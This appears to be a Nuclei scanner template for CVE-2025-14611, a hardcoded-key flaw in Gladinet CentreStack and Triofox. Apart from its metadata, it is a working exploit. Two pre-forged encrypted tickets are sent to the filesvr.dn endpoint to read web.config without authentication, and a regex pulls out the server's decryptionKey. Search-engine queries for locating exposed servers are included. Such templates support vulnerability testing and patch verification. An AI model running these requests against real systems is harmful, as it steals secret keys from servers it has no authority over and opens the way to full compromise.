Gladinet CentreStack & Triofox - Hardcoded Credentials

id: CVE-2025-14611

info:
  name: Gladinet CentreStack & Triofox - Hardcoded Credentials
  author: 0xanis
  severity: critical
  description: |
    Gladinet CentreStack and Triofox < 16.12.10420.56791 contain a hardcoded credentials vulnerability caused by use of hardcoded AES cryptoscheme values, letting attackers perform arbitrary local file inclusion without authentication, potentially leading to full system compromise.
  impact: |
    Attackers can exploit hardcoded AES keys to perform arbitrary local file inclusion, potentially leading to full system compromise.
  remediation: |
    Update to version 16.12.10420.56791 or later.
  reference:
    - https://www.huntress.com/blog/active-exploitation-gladinet-centrestack-triofox-insecure-cryptography-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14611
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-321
  metadata:
    verified: true
    max-request: 2
    fofa-query: title="CentreStack" || title="Triofox"
    google-query: intitle:"CentreStack - Login" || intitle:"Triofox - Login"
  tags: cve,cve2025,gladinet,centrestack,triofox,kev,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/storage/filesvr.dn?t={{ticket}}"

    attack: batteringram
    payloads:
      ticket:
        # C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
        - "vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m|GbA|RIwrK0WT6jLb:ulpCaAEZ7n1cnc6XQR3EtoADI"
        # C:\Program Files\Gladinet Cloud Enterprise\root\web.config
        - "vghpI7EToZUDIZDdprSubEhRtHNTizyG2QqrcdDETcITXhiueSqu1pPPD0BQ03d6BDri8Usk8QTlEK1U8I2khiLTdy5632hOGCvV6bq1ZSQKpxPmISgLb:TSHrns|y3r"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "<configuration>","<system.web>")'
          - 'contains_any(header, "application/xml","text/xml","application/octet-stream")'
        condition: and

    extractors:
      - type: regex
        part: body
        name: decryption_key
        group: 1
        regex:
          - 'decryptionKey="([A-Fa-f0-9]+)"'
# digest: 4a0a0047304502203460345f0ae0faebf12e4e95a52625787b5de9a1b284ff55a0b0f2f8d0882a76022100cb98226fff7fcba505fec6b8521181ce320d0e87cdeb4b9a489e117417739947:922c64590222798bb761d5b6d8e72950